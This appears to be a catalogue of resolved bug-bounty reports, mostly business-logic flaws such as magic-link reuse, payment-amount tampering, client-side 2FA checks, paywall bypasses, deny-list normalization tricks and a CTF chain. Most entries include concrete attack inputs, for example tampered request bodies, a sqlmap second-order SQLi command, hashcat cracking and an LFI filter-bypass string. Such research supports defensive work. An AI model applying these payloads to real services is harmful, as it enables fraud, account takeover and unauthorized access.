Program lemlistSurface webChain Leaked/intercepted magic link -> full account takeover.Tag account-takeover
Root cause
Passwordless magic login links were not invalidated after first use and were not bound to the requesting browser/IP, so a leaked or intercepted link logs in anyone, repeatedly.
Method
- Request a magic login link and consume it once in browser A.
- Paste the same link into browser B / incognito.
- Observe a second authenticated session -> the token is multi-use and unbound.
# 1. request magic link, log in (browser A)
# 2. reuse identical https://app.target/login?token=... in browser B/incognito -> logged in again
Insight — For any magic-link/OTP/reset flow, test: single-use (replay after consumption), expiry, and binding to the requesting session/IP/UA. Reuse across browsers is a fast ATO tell if the link ever leaks (referrer, history, shared inbox).
Real-world example
DEX orderbook poisoning via trustline-limited partial fill
◆ High
Specimen #321511 · stellar · none · 12 votes · resolved
Program stellarSurface other
Root cause
An exchange fills a crossing buy offer only partially because a per-asset holding cap (trustline limit) is reached, then persists the unfilled remainder as a resting offer at the attacker-chosen price, leaving max(bid) > min(ask) i.e. crossing offers in the book.
Method
- Pick asset ABC with a non-empty ABC-XLM orderbook
- Fund account H and set an ABC trustline with limit 1
- In one atomic tx, post an offer to buy ABC at price P (P far above best ask Pa) AND raise the trustline limit to 2
- H receives 1 ABC (cap hit), remainder (P-Pa) persists as a resting sell offer at price P; any later sell below P trades at P
Transaction(
source = H,
operations = [
manageOffer(selling=XLM, buying=ABC, amount=P, price=P, offerId=0),
changeTrust(asset=ABC, limit=2)
]
)
Insight — When a matching engine enforces a balance/holding cap AFTER partial execution but still books the leftover, you can inject offers that violate the no-crossing invariant. Look for order-placement paths that combine execution + a limit/quota change in one transaction, and probe whether partial fills sanitize the residual price.
Real-world example
Bypass Lock WARP switch via warp-cli add-trusted-ssid
◆ High
Specimen #1635748 · cloudflare · awarded · 12 votes · resolved
Program cloudflareSurface desktop
Root cause
The client-side WARP lock (which should force the tunnel on) can be defeated by the local user marking the current wifi SSID as trusted, causing the client to disconnect and drop Zero Trust policy enforcement.
Method
- On a managed endpoint with Lock WARP switch enabled
- Run warp-cli add-trusted-ssid <current-SSID>
- Client treats the network as trusted and disconnects WARP
- Zero Trust policies no longer enforced
warp-cli add-trusted-ssid <CURRENT_WIFI_SSID>
Insight — Security controls enforced by a local client the user controls are bypassable; audit CLI/config surfaces of endpoint agents (trusted-network, split-tunnel, disable flags) for self-service escapes of admin-locked policy.
Real-world example
Sell-bitcoin endpoint does not validate posted amounts
◆ High
Specimen #144526 · bitaccess · awarded · 12 votes · resolved
Program bitaccessSurface webTag account-takeover
Root cause
The endpoint that sells bitcoin trusts the client-posted BTC and USD amounts without server-side validation of their relationship, so a user can sell a negligible amount of BTC while withdrawing an arbitrary USD amount.
Method
- Intercept the sell/withdraw request on the Bitcoin ATM/cash service
- Set the BTC amount tiny and the USD payout large (decouple the two fields)
- Server accepts the mismatched amounts and pays out
POST /sell { "btc_amount": 0.00000001, "usd_amount": 100000 }
Insight — On any trade/checkout/withdraw flow, the server must recompute the counter-amount from a trusted price; never trust both sides of the exchange from the client. Test decoupling paired money fields (price vs quantity, give vs get).
Real-world example
Payment amount tampering: pay 0.01, get full credit
◆ High
Specimen #78436 · ok · awarded · 5 votes · resolved
Program okSurface web
Root cause
The payment flow verifies only that some transaction was paid, not that the paid amount matches the ordered amount, and then credits the balance rounding up to 1 unit, so a 0.01 payment yields a full unit of currency.
Method
- Start a top-up / purchase of any amount
- Choose the external payment gateway (WebMoney)
- Intercept the redirect to the gateway and change the amount parameter to 0.01
- Complete the tiny payment on the real gateway
- Return to the app: full unit credited (~50x cheaper), repeatable/automatable, and works for gifting to third parties
# intercept the payment-init/redirect request to the gateway
LMI_PAYMENT_AMOUNT=0.01
Insight — When payment amount is passed client-side to a third-party gateway and the merchant only checks 'was this transaction paid' via callback, tamper the amount before it reaches the gateway. Two compounding flaws: no amount reconciliation on the callback, plus rounding-up of credited balance. Always test amount, currency and quantity params on gateway redirects/callbacks.
Real-world example
Deposit-crediting logic flaw: time-locked outputs credited as spendable (Monero locked_transfer burning)
◆ High
Specimen #417515 · monero · none · 5 votes · resolved
Program moneroSurface other
Root cause
Exchanges/vendors credit incoming deposits based on show_transfers, which lists a valid transfer without reflecting that locked_transfer set an enormous unlock height. The output is real but unspendable for ~1000s of years, yet the balance is credited immediately.
Method
- Send funds to a wallet-cli
- Use locked_transfer to the exchange deposit address with a very high lockblocks value
- Exchange sees a valid transfer in show_transfers and credits the balance
- Sell/withdraw the credited balance; exchange is left with functionally unspendable coins, attacker loses only fees
# monero-wallet-cli
locked_transfer <exchange_deposit_addr> <amount> <very_high_lockblocks>
# e.g. lockblocks -> hundreds of thousands of blocks
Insight — When a system credits an asset on 'a valid transaction appeared' rather than 'the asset is now spendable/final by us', an attacker can deposit something valid-but-encumbered (time-locked, reversible, or otherwise non-final) and cash out the mismatch. Generalizes to any deposit/settlement flow: verify spendability/finality, not mere presence.
Real-world example
Full-chain CTF: filter/type-juggle bypass, second-order SQLi, DNS-rebind TOCTOU SSRF
◆ High
Specimen #1065885 · h1-ctf · none · 2 votes · resolved
Program h1-ctfSurface webChain recon -> LFI source disclosure -> type-juggle admin flTag subdomain-takeover
Root cause
A methodology goldmine chaining many reusable web primitives to full compromise; each stage generalizes to real targets (non-recursive filter bypass, PHP type juggling, second-order blind SQLi, SSRF localhost bypass via DNS rebinding TOCTOU).
Method
- LFI filter bypass: str_replace('admin.php','') is non-recursive -> 'adminadmin.php.php' collapses to 'admin.php'; nest to read protected files.
- Length-check bypass via PHP type juggling: age='9e9' passes is_numeric and strlen<=3 but intval('9e9')=9000000000, overflowing a disk record boundary to flip an admin flag.
- Second-order blind SQLi: inject in name at /evil-quiz, result observed on /score; automate with sqlmap --second-url + --not-string, --risk 3 for OR-based, single thread.
- SSRF localhost bypass: server refuses 127.0.0.1, so use a DNS-rebinding nameserver (dnschef) that resolves benign on the check request then 127.0.0.1 on the use request (TOCTOU).
- Trust-boundary: base64 cookie {admin:false} -> set admin:true; git commit history leaks DB creds; md5($salt.$ip) hash cracked with hashcat by appending known IP to rockyou.
# non-recursive str_replace LFI bypass
/my-diary/?template=secretsecretadminadmin.php.phpadminadmin.php.php
# PHP type-juggle length bypass
username=grinch54321&password=a&age=9e9&firstname=aaa&lastname=bbbbbbbbY
# second-order blind SQLi
sqlmap -u '.../evil-quiz' --data 'name=NOME' --second-url '.../evil-quiz/score' \
--not-string 'There is 0 other player' --technique=B --level=3 --risk=3 --cookie 'session=***'
# salted-md5 crack: append known IP to each rockyou word
cat rockyou.txt | awk '{print $0"203.0.113.33"}' > list.txt
hashcat -O -m0 -a0 hash.txt list.txt
Insight — High-value transferable checklist: (1) any blacklist str_replace/preg_replace that is not looped is bypassable by nesting; (2) PHP is_numeric+strlen do not bound intval -> scientific notation smuggles large values in few chars; (3) when an injection point's output surfaces on a different page, drive sqlmap with --second-url; (4) a localhost/SSRF allowlist that resolves DNS twice is defeatable with a rebinding resolver (dnschef) exploiting TOCTOU; (5) md5(salt.value) with a weak salt is crackable by appending the known value to a wordlist.
Real-world example
Client-side price manipulation in externally-hosted payment (PayPal) request
◆ High
Specimen #17502 · uzbey · none · 2 votes · resolved
Program uzbeySurface webTag webhook
Root cause
The checkout builds a PayPal _cart request in the browser with per-item amount fields; those amounts are trusted from the client and can be intercepted and set to an arbitrary value (e.g. 0.00) before submission to PayPal.
Method
- Add items to cart and proceed to pay
- Intercept the redirect/POST to paypal.com/cgi-bin/webscr (cmd=_cart)
- Modify amount_1, amount_2, ... to an arbitrary value such as 0.00
- Complete payment - price paid is attacker-controlled
https://www.paypal.com/cgi-bin/webscr?cmd=_cart&...&business=merchant@example.com&upload=1&amount_1=0.00&item_name_1=128x128%20Square&quantity_1=2&amount_2=0.00&item_name_2=128x128%20Square&quantity_2=1&...&form_id=uc_paypal_wps_form
Insight — Never trust price/amount fields that originate from the client, even when the final charge is on a third-party gateway (PayPal/Stripe hosted). Any amount_* / price / total field passed through the browser to the payment processor must be validated server-side against the authoritative order total (or use server-created invoices with IPN verification).
Real-world example
Ticket Trick - helpdesk inbox exposes verification emails to any user
◆ High
Specimen #999765 · acronis · awarded · 142 votes · resolved
Program acronisSurface webChain helpdesk inbox read -> capture 3rd-party verification emaTag account-takeover
Root cause
A support platform lets any user view tickets (created from inbound email to support@company) without email verification; emails sent to company addresses become readable, so verification/reset links to those addresses are captured.
Method
- Sign up to third-party service (GitHub/Atlassian/etc.) using an address that lands in the company support inbox (e.g. noreply@company via the ticketing alias)
- Register on the company's helpdesk and view tickets without verifying email
- Read the incoming verification/reset email that arrived as a ticket
- Complete the third-party signup/reset as that company identity
Insight — Any helpdesk/ticketing system that ingests email and shows tickets pre-verification enables Ticket Trick; test by triggering a mail to a company alias and checking if it appears in your ticket view. See intigriti/how-i-hacked-hundreds-of-companies-helpdesk.
Real-world example
Forced browsing to /accounts_merge/new-password skips the victim-password gate
◆ Medium
Specimen #796956 · shopify · awarded · 310 votes · resolved
Program shopifySurface webChain email-verify bypass -> merge flow -> forced-browse newTag account-takeover
Root cause
During SSO account merge, after the attacker authenticates with their own store password Shopify demanded the victim's master password; changing the URL path from /login to /accounts_merge/new-password (keeping the same query string) skipped straight to setting a NEW password on the victim account.
Method
- Confirm victim email on an attacker store (via an email-verify bypass)
- Start account merge, authenticate with your own store password
- At accounts.shopify.com/login?<q>, change path to /accounts_merge/new-password?<q>
- Set a new password (victim has no 2FA) -> confirm -> takeover
GET https://accounts.shopify.com/accounts_merge/new-password?<same-query-as-/login>
Insight — Multi-step flows often expose a later state via a guessable sibling path; try swapping the path segment while preserving the query/token to jump past an authentication/verification gate.
Real-world example
Removing a user does not cascade-invalidate their pending invites / added members
◆ High
Specimen #3303136 · omise · none · 75 votes · resolved
Program omiseSurface webChain admin A adds/invites B -> A removed -> B retains adminTag account-takeover
Root cause
Deleting an admin left the invitations they issued (and the admins they had already added) fully valid, so influence/access persisted after the originating account was removed.
Method
- Admin A (with admin rights) invites user B as admin.
- Remove A from the team.
- Observe: B's pending invite still accepts (and if already accepted, B remains an admin) - access created by A survives A's removal.
Insight — Test the full deprovisioning lifecycle: when an account is removed, do its outstanding invites, tokens, API keys, and the members/permissions it created also get revoked? Persisting delegated access after the delegator is gone is a common privilege/least-privilege violation.
Real-world example
Non-idempotent discount-accept stacks the discount
◆ Medium
Specimen #1849626 · stripe · 5000 · 263 votes · resolved
Program stripeSurface web
Root cause
The accept-fee-discount endpoint applied the offer on every call and never marked the offer consumed, so no race was even needed -- 30 calls applied 30x the discount.
Method
- Obtain a valid fdo_ offer id and be shown the accept prompt
- Call POST /ajax/accept_fee_discount_offer repeatedly
- Each call stacks another discount
POST /ajax/accept_fee_discount_offer (repeat N times with a valid fdo_ id)
Insight — Before reaching for a race, just REPLAY a one-time state-change endpoint sequentially; many 'accept/apply once' actions are non-idempotent and stack. Check for missing 'already consumed' guards.
Real-world example
P2P integrity bypass via consensus reflection on unordered submission
◆ High
Specimen #3559522 · nintendo · awarded · 56 votes · resolved
Program nintendoSurface otherTag account-takeover
Root cause
A peer-to-peer anticheat exchanged integrity hashes on a timed schedule with no enforced submission order, so a modified client could observe an honest peer's submitted hash and replay it as its own, hiding tampered code from other clients and replay data.
Method
- Hook the anticheat data receiver on a modified client
- Filter for packets from a same-type peer whose hashes are known-good
- When it is your turn to submit, send the recorded peer hash instead of your own tampered hash
Insight — Any distributed integrity/consensus protocol where all parties submit the same value without ordering or hiding is reflectable: a cheater can copy an honest party's answer. Look for missing commit-reveal / ordering in p2p voting, attestation, or anti-cheat exchanges. Fix = commitment (hash bound to player-specific data) revealed one round later.
Real-world example
Email-verification TOCTOU: swap email to farm a link, swap back to victim
◆ High
Specimen #1636552 · khanacademy · none · 41 votes · resolved
Program khanacademySurface webTag account-takeover
Root cause
The verification link is issued for whatever email is currently set but validated against the email at click time; by setting the email to one the attacker controls (to receive the link), then changing it back to the victim's address before clicking, the attacker verifies an email they never controlled.
Method
- Register (as a <13 learner) and set the guardian/parent email to a victim address.
- Change your account email to an attacker-controlled temporary email; receive the verification email (do not click).
- Change the email back to the victim's address.
- Open the verification link in incognito -> the victim email is now verified/tied to the account.
Insight — When email change and email verification are decoupled, test the swap: obtain the token for an address you control, then rebind the account to the target address before consuming the token. The link must be bound to the exact address it was issued for.
Real-world example
Invite/magic link reusable after first use lets banned user rejoin
◆ High
Specimen #209140 · security · none · 38 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Email-forwarding invitation links (and email-confirmation tokens generally) are not invalidated after first use, so a link that granted access once keeps granting it. A user who quit or was banned can replay the same link to regain access without a new invite.
Method
- Trigger the email that contains an access/invite link (e.g. reply-to-forward invite to a private program)
- Use the link once to gain access (become a participant)
- Quit / get removed / get banned from the resource
- Re-open the original email and click the same link again
- Access is regranted with no new authorization
Insight — Any token that grants a state change (invite, email-confirm, magic-login) must be single-use and expired on consumption AND on membership revocation. Test: consume the link, revoke your own access, replay the link.
Real-world example
Enumerate plan_id + amount=0 for free subscription
◆ Medium
Specimen #511044 · eternal · awarded · 229 votes · resolved
Program eternalSurface mobile-ios
Root cause
Purchase endpoint trusted client-supplied plan_id and amount; a guessable plan_id (147) had cost 0 and amount=0 returned 'Transaction Approved Without Sending to Gateway'.
Method
- Start a Zomato Gold purchase, intercept the POST (carries plan_id + amount)
- Burp Intruder over plan_id to find one whose price is 0
- Replay with that plan_id and amount=0 -> approved without hitting the gateway -> free Gold; chain referral for extra months
access_token=...&amount=0&client_id=zomato_ios_v2&plan_id=147
Insight — When both the item id and its price ride in the request, enumerate the id space (many plans stay active) and probe amount=0 / negative; servers that skip the gateway for 0 are the tell ('Approved Without Sending to Gateway').
Real-world example
Top up a stored-value card by forging the client payment-success callback
◆ High
Specimen #682617 · starbucks · none · 23 votes · resolved
Program starbucksSurface webChain cross-domain register+reset -> auto-provisioned virtual cTag account-takeover
Root cause
The top-up flow trusts a client-delivered 'payment successful' callback instead of server-verifying the transaction with the payment provider, so a forged success message credits the card without any real payment; reached via a cross-domain account-linking/password-reset quirk that auto-provisions a virtual card.
Method
- Register on the auxiliary domain (xtras.starbucks.ch)
- Trigger a password reset for that account on the card domain (card.starbucks.ch)
- Resetting the password auto-provisions a virtual gift card
- Initiate a top-up and forge/replay a 'payment successful' callback to credit the card without paying
Insight — Any payment/top-up that finalizes on a client-side success callback is forgeable - the server must confirm settlement with the PSP out-of-band. Also test cross-subdomain account flows that silently provision funded objects.
Real-world example
Consensus/validation keyed on local wall-clock time
◆ High
Specimen #854726 · monero · none · 20 votes · resolved
Program moneroSurface otherChain local-clock oracle -> node time disclosure -> eclipse
Root cause
unlock_time values >500000000 are validated against the node's local system clock instead of network/block time, so validity of a transaction differs per node depending on that node's clock skew.
Method
- Craft transactions locked with unlock_time values spread across second-granularity intervals
- Relay each to a target node via one attacker node and watch a second attacker node for propagation to binary-search the target's exact local time
- Against a node with skewed clock: submit txs valid only for that node to make a mining pool waste work, or continuously feed near-boundary txs to make it reject the honest chain (eclipse)
Insight — Whenever a security decision compares attacker-influenced data to local time (or any node-local, non-consensus variable), it becomes a timing oracle and a divergence primitive. Fix pattern: use an aggregated/consensus value (e.g. median of last N block timestamps, cf. BIP113).
Real-world example
Email change to victim's address (no uniqueness) locks victim out
◆ High
Specimen #2586616 · deptofdefense · none · 19 votes · resolved
Program deptofdefenseSurface webTag account-takeover
Root cause
Profile update allows setting an email already registered to another account; login keys on email, so the victim can no longer authenticate (persistent account lockout / DoS).
Method
- Register attacker and victim accounts
- In attacker's Update Profile, change email to victim@email.com
- Save; no uniqueness/verification check blocks it
- Victim now gets 'Invalid Credentials' at login
Insight — Always test email/username change for a uniqueness + ownership-verification check; missing checks yield either takeover (if login switches) or denial-of-service lockout of the victim.
Real-world example
Client-side-enforced VPN lock bypassed via app settings
◆ High
Specimen #1605847 · cloudflare · awarded · 19 votes · resolved
Program cloudflareSurface mobile-ios
Root cause
The Zero-Trust 'Lock WARP switch' policy was enforced only in the mobile client UI; enabling both 'Disable for cellular' and 'Disable for Wi-Fi' switches at once disconnected WARP, and (in a sibling bug) deleting the VPN profile also removed enforcement, bypassing device policy.
Method
- On a locked-WARP managed device, open app network settings
- Toggle both 'Disable for cellular networks' and 'Disable for Wi-Fi networks' on simultaneously
- WARP disconnects despite the lock, escaping Zero-Trust policy (variant: delete the VPN profile)
Insight — Policy/lock enforcement that lives in a mobile client is bypassable; hunt for edge combinations of settings, profile deletion, or airplane-mode races that reach a state the client should forbid. Server/MDM must re-verify enrollment, not trust the app.
Real-world example
Failed payment still unlocks the paid plan
◆ High
Specimen #1420697 · lemlist · none · 18 votes · resolved
Program lemlistSurface web
Root cause
The subscription flow provisions paid features even when the card charge fails; cancelling afterward leaves the account with paid access without ever having paid.
Method
- Add a valid billing address but ensure the card has no funds
- Select a paid plan and increase seats; each attempt returns 'payment failed'
- Cancel the subscription - paid features remain usable
Insight — Provisioning must gate on a confirmed successful charge, not on plan-selection. Test the decline path: pick paid features with an empty card and check whether entitlements flip on before/independently of settlement, especially around upgrades/seat changes and cancellation.
Real-world example
Paywalled templates usable free via load-then-save-on-signup
◆ High
Specimen #1166993 · stripo · none · 15 votes · resolved
Program stripoSurface web
Root cause
Premium templates are gated only client-side in the public gallery: selecting 'use in editor' then signing in to save persists the premium template into a free account without an entitlement check.
Method
- Open the public templates gallery
- Choose a premium template and click 'use in editor'
- Sign in to save - the premium template lands in your free account's templates
Insight — Content behind a paywall is often only hidden by the UI at browse-time; the 'save/import/duplicate' action may not re-check entitlement. Try loading premium content via a public/preview surface then persisting it to a free account.
Real-world example
Re-share to owner then unshare deletes the owner's data
◆ High
Specimen #166581 · nextcloud · none · 9 votes · resolved
Program nextcloudSurface webChain grant with re-share → re-share back to owner → owner unshare
Root cause
Nextcloud share/unshare logic did not distinguish original ownership: a normal user who is given a folder (with re-share) shares that same folder back to the admin; when the admin later unshares it, the unshare deletes the original folder entirely rather than just removing the share.
Method
- Admin creates and shares a folder to the normal user with 'can share'
- Normal user re-shares the same folder back to the admin
- Admin opens 'Shared with you' and unshares the folder
- The unshare deletes the owner's original folder without their knowledge
Insight — Re-share / circular-share flows are logic-flaw hotspots: test sharing a resource back to its owner or across a permission boundary, then trigger unshare/revoke and watch whether it deletes vs merely detaches. Ownership must gate destructive share operations.
Real-world example
Accept new public key without ACK validation -> PoS MiTM
◆ Medium
Specimen #423467 · shopify · awarded · 372 votes · resolved
Program shopifySurface mobile-android
Root cause
The customer-view crypto protocol used the same setReceiverPublicKey() path on both initial start and on any incoming server message, accepting a fresh receiver public key with no proof (decryptable ACK) that the sender held the QR-provisioned key.
Method
- ARP-spoof to MiTM the ws:// customer-view <-> PoS WebSocket (service listens on 0.0.0.0:5000)
- Send a crafted message type that hits the receiveMessageFromServer branch which calls setReceiverPublicKey()
- Override the receiver public key so all subsequent Curve25519 traffic is encrypted to attacker keys
- Relay/alter cart, tip amount, customer email/phone
Insight — Handshake logic that reuses the 'trust this new key' code path for unauthenticated in-band messages lets a network attacker rotate the session key. Fix pattern: only accept a new key after verifying an ACK decrypts under the existing key.
Real-world example
Disable-2FA password gate is client-side only
◆ Medium
Specimen #783258 · localizejs · awarded · 159 votes · resolved
Program localizejsSurface webTag account-takeover
Root cause
The UI required the account password to disable 2FA, but the backend endpoint that actually changes the 2FA method didn't verify the password, so a direct API call with any/wrong password succeeded.
Method
- Click Disable 2FA, submit a wrong password, copy the session headers
- POST directly to /api/user/two-factor/set with method=sms&phone=<attacker> using those headers
- 2FA reconfigured without a valid password
POST /api/user/two-factor/set
method=sms&phone=%2B62-attacker-number
Insight — Re-auth / step-up prompts are often enforced only by the front-end. Call the underlying sensitive endpoint directly (wrong or empty password) -- disable-2FA, change-email, change-password, delete-account -- and see if the server actually re-checks.
Real-world example
Moderation bypass via client-controlled status field (MODERATION->ACTIVE)
◆ Medium
Specimen #1861487 · indrive · 1000 · 156 votes · resolved
Program indriveSurface graphqlTag graphql
Root cause
The workflow state (moderation vs published) is set by a client-supplied variable; the server trusts it, so setting status=ACTIVE publishes content without admin approval.
Method
- Create a job offer; it enters 'Pending Approval'
- Capture the final GraphQL UpdateVacancyStatus request (status:MODERATION)
- Replay in Repeater with status changed to ACTIVE
- Content is published live, skipping moderation
{"operationName":"UpdateVacancyStatus","variables":{"vacancyId":"<id>","status":"ACTIVE"},"query":"..."}
Insight — Any status/state/approval/is_verified field sent from the client is a moderation-bypass candidate; enumerate the state machine's enum values and try the 'approved/active' one directly.
Real-world example
Account deletion leaves derived alias email live
◆ Medium
Specimen #1133118 · security · awarded · 356 votes · resolved
Program securitySurface web
Root cause
Deleting the user did not tear down the derived @wearehackerone forwarding alias, so mail kept routing after the account (and its DB row) were gone.
Method
- Sign up, use the H1 alias email to register on a 3rd-party site
- Delete the H1 account
- Observe alias email still forwards mail
Insight — After any destructive action (account/tenant deletion), test whether DERIVED resources still function: forwarding aliases, API tokens, invite links, webhook subs, S3/DNS records. Orphaned side-effects are a recurring privacy/logic bug.
Real-world example
Email-verification links auto-consumed by security scanner bots verify attacker's corporate email
◆ Medium
Specimen #2798380 · security · 2500 · 155 votes · resolved
Program securitySurface webChain email auto-verify -> corporate identity -> SAML bypassTag account-takeoverTag saml
Root cause
The email-change flow marked an address verified whenever the verification link was merely opened in a browser; corporate email security bots that pre-fetch links (GET) auto-verified attacker-registered company addresses with no human action, which then unlocked SAML-gated third-party services under that company's identity.
Method
- Register an account, change email to an address at a company whose mail gateway scans links
- The scanning bot opens the verification link automatically (no user)
- Email is now verified; use it to access company-federated services
GET https://target/verify_email?token=... (fetched by the corporate link-scanner, verifying without user consent)
Insight — Verification links that verify on GET are triggered by antivirus/link-preview/mail-scanner bots. Test one-click GET verification; combine with 'sign up with a corporate email' to impersonate org identity into SAML/SSO-linked apps.
Real-world example
Client-side price manipulation at checkout
◆ Medium
Specimen #1403176 · acronis · awarded · 146 votes · resolved
Program acronisSurface web
Root cause
The buy/checkout request carries the product price as a client-controlled parameter that the server trusts instead of recomputing it, so the price can be lowered before submission.
Method
- Add a product and start checkout
- Intercept the 'buy now' request
- Modify the price parameter to a lower value
- Forward; order is placed at the tampered price
// intercept checkout POST and edit the price field, e.g.
price=0.01
Insight — Any price/amount/currency/quantity sent from the client at checkout is a business-logic sink - test lowering it (and negative values). Server must recompute totals from server-side catalog.
Real-world example
Claim RFC2142 role mailboxes via username-derived alias
◆ Medium
Specimen #397792 · security · none · 117 votes · resolved
Program securitySurface webChain reserved-mailbox claim -> CA email validation / trusted-s
Root cause
The @wearehackerone forwarding system derived <username>@wearehackerone.com from the account username; not all RFC2142 reserved role names (security, abuse, ssladmin, trouble...) were blocked, so an attacker could register a username to own a privileged role mailbox.
Method
- Enumerate RFC2142 role names as usernames (postmaster blocked, trouble not)
- Register the unblocked role username
- Control e.g. security@ / ssladmin@ forwarding -> could pass CA email validation
register username 'trouble' -> owns trouble@wearehackerone.com
Insight — When a system mints an email/identity from a user-chosen handle, test the full RFC2142 role list and admin-ish names against the reserved list. Owning security@/ssladmin@ can enable domain-validated TLS cert issuance and trusted-sender abuse.
Real-world example
Unbounded rating value manipulation
◆ Medium
Specimen #2125049 · indrive · awarded · 107 votes · resolved
Program indriveSurface api
Root cause
The driver-rates-passenger review endpoint accepted an arbitrary rating value with no upper-bound validation, so rating:55 was stored, inflating the profile rating.
Method
- Complete a city-to-city ride, capture the POST /reviews/ride/<id>/driver
- Change rating from 5 to any large number
- 200 OK, profile rating inflated
POST /api/v1/reviews/ride/<id>/driver {"message":"x","rating":55}
Insight — Numeric/enum fields (ratings, scores, ages, tiers, loyalty points) are frequently range-unvalidated server-side. Send out-of-range, negative, and oversized values to reputation/score systems to break their integrity.
Real-world example
Deny-list bypass via missing URL normalization (trailing dot / dot-segment path)
◆ Medium
Specimen #1102764 · slack · USD 1000 · 100 votes · resolved
Program slackSurface web
Root cause
The blocked-link-preview feature matches raw user-supplied URLs without canonicalizing host or path, so equivalent-but-different spellings (FQDN trailing dot, /x/../ path segments) evade the allow/deny list while still resolving to the blocked resource.
Method
- Identify a URL that the deny-list blocks
- Add a trailing dot to the host (host. ) to bypass domain-level blocks
- Or insert /ANYSEG/../ before the blocked path to bypass path/link-level blocks
- Post via intercepting proxy (UI may strip the mutation) -> preview/allow fires anyway
https://jub0bs.com./posts/... # trailing-dot host bypass
https://jub0bs.com/ANY/../posts/target/ # non-normalized path bypass
Insight — Any host/path allow-or-deny decision made before canonicalization is bypassable. Test trailing dots, added/removed slashes, ./ and /../ segments, case, IDN/percent-encoding, and default ports. The mismatch between the filter's view of the URL and the fetcher's view is the bug.
Real-world example
Paywall bypass via pagination offset on API
◆ Medium
Specimen #3235855 · linkedin · awarded · 97 votes · resolved
Program linkedinSurface graphqlTag graphql
Root cause
Premium 'Active Hiring' search results are gated only on the first page in the UI. The GraphQL API (/voyager/api/graphql) enforces the subscription check only when start=0; incrementing the start pagination offset returns the restricted premium results.
Method
- Run a people search that shows a premium upsell after a few results
- Capture the /voyager/api/graphql request backing the search
- Change the pagination start parameter to a non-zero value and increment it
- Harvest all premium results the paywall should block; simpler variant: append &page=2 to the search URL
GET /voyager/api/graphql?...&variables=(start:10,count:10,...) # start!=0 skips premium check\n# no-API variant: https://www.linkedin.com/search/results/people/?...&page=2
Insight — Access/entitlement checks are often applied only to the first page or default request. Always re-test gated data with a non-zero pagination offset (start/page/offset/after cursor); enforcement frequently lives only on the initial query.
Real-world example
Unicode-normalization bypass of a domain denylist
◆ Medium
Specimen #2033005 · frontegg · awarded · 85 votes · resolved
Program fronteggSurface web
Root cause
Server stores/enforces a blocklist on the raw string but normalizes (or downcases) it elsewhere, so a homoglyph passes the deny check yet resolves to the blocked value downstream.
Method
- Admin sets a deny rule blocking a domain (e.g. yopmail.com) under Security > Domain Restrictions
- Invite a user on that domain -> rejected
- Replace an ASCII letter with a homoglyph (dotted capital I 'İ') -> email@yopmaİl.com
- Invitation is accepted and the real mail is delivered to the blocked domain
email@yopmaİl.com (Turkish dotted capital I U+0130 instead of 'i'/'I')
Insight — Whenever a denylist/allowlist compares strings, test Unicode homoglyphs and case-folding chars (U+0130, U+0131, Kelvin K, fullwidth forms) - filter and resolver often normalize differently. Ref: 0xacb.com/normalization_table.
Real-world example
Client-controlled security flag disables the confirmation dialog
◆ Medium
Specimen #3507241 · metamask · 350 · 84 votes · resolved
Program metamaskSurface web
Root cause
A parameter that gates the user-approval UI (enableAuthorize) is taken from website-supplied RPC params; a malicious dApp sets it false and the wallet signs without showing the confirm prompt.
Method
- Install the Starknet Snap in MetaMask
- From an attacker page, call the snap's signMessage/sign RPC with enableAuthorize:false
- Confirmation dialog is skipped; message/transaction is signed with the account key silently
{ "method":"...signMessage", "params":{ "enableAuthorize": false, "typedDataMessage": {...}, "address":"0x.." } }
Insight — Any security decision (show-confirm, is-admin, skip-2fa) read from a client/RPC-supplied parameter is bypassable - grep handlers for booleans sourced from request params that guard a UI prompt; default must be secure (true).
Real-world example
Email-verification bypass via leaked verification token in API response
◆ Medium
Specimen #2712583 · mozilla · awarded · 84 votes · resolved
Program mozillaSurface web
Root cause
The API that lists a user's monitored emails also returns the pending email's verification token; replaying that token to the verify endpoint confirms ownership without access to the mailbox.
Method
- Add a victim email for monitoring (normally requires the owner to click a mailed link)
- GET /api/v1/user/breaches and read the verification token for the unverified email
- GET /api/v1/user/verify-email?token=<leaked token>&...
- Email is now verified/monitored without owner consent
GET /api/v1/user/breaches -> harvest token
GET /api/v1/user/verify-email?token=LEAKED_TOKEN&utm_source=fx-monitor
Insight — Diff what verification/confirmation endpoints return vs what the UI shows: secret tokens (verify, reset, invite) frequently leak in list/detail JSON responses, turning a possession check into a replay.
Real-world example
Malformed payment-profile ID grants a free ride and hides the trip
◆ Medium
Specimen #574638 · uber · awarded · 82 votes · resolved
Program uberSurface api
Root cause
The payment-method identifier is only checked for presence/format, not validated against real profiles; a corrupted UUID makes the charge silently fail while the service is still delivered.
Method
- Request a ride and intercept the create-trip request
- Append ~3 random characters to the paymentProfileUuid value and forward
- Ride completes but is charged to an invalid profile: no charge to rider, no payout to driver, trip vanishes from both histories
paymentProfileUuid=<valid-uuid>xyz (append junk so it validates syntactically but resolves to nothing)
Insight — When a payment/account reference is passed client-side, tamper it (append chars, swap to a non-existent but well-formed ID): apps that fetch-or-null instead of hard-failing will provide the service for free.
Real-world example
Client-side response tampering to unlock paid features
◆ Medium
Specimen #1070510 · logitech · awarded · 79 votes · resolved
Program logitechSurface web
Root cause
Entitlement is decided client-side from an API response ('is_pro':false); rewriting the response body flips the UI into the paid state and unlocks server actions that trust that state.
Method
- Find the entitlement endpoint (e.g. /api/v5/user/prime/subscription) returning all-false flags
- Set Burp Match&Replace on Response Body: false -> true (and fix any inverted flags like "blocked":true -> false)
- Reload the premium pages; gated features (rewards redeem, RTMP stream key) become usable
Response Body Match: false Replace: true
Response Body Match: "blocked":true Replace: "blocked":false
Insight — For any subscription/feature-gate, intercept the entitlement JSON and flip the booleans: if downstream actions (redeem, export, stream) then succeed, the server trusts client-reported state and the gate is broken.
Real-world example
Subscription-gated role assigned by tampering the request param
◆ Medium
Specimen #3591764 · lovable-vdp · none · 75 votes · resolved
Program lovable-vdpSurface web
Root cause
A Pro-only role value is rejected in the UI but the backend accepts it when the access_level parameter is set directly, because plan enforcement lives only in the front end.
Method
- As a free-plan owner, open a project's Share/invite-link flow
- Toggle the invite link while intercepting; catch the POST to .../magic-codes
- Change access_level from write to read (the Pro-only 'read/view access' role)
- Response reflects read; the generated invite grants the restricted role to invitees on a free plan
POST /projects/<id>/magic-codes
{"access_level":"read"}
Insight — Plan/tier gating that greys out an option in the UI is usually not re-checked server-side: submit the restricted enum value directly and watch for it to persist - subscription bypass via a single param.
Real-world example
Forge another customer's fare by chaining a signed-hash endpoint into the bid endpoint
◆ Medium
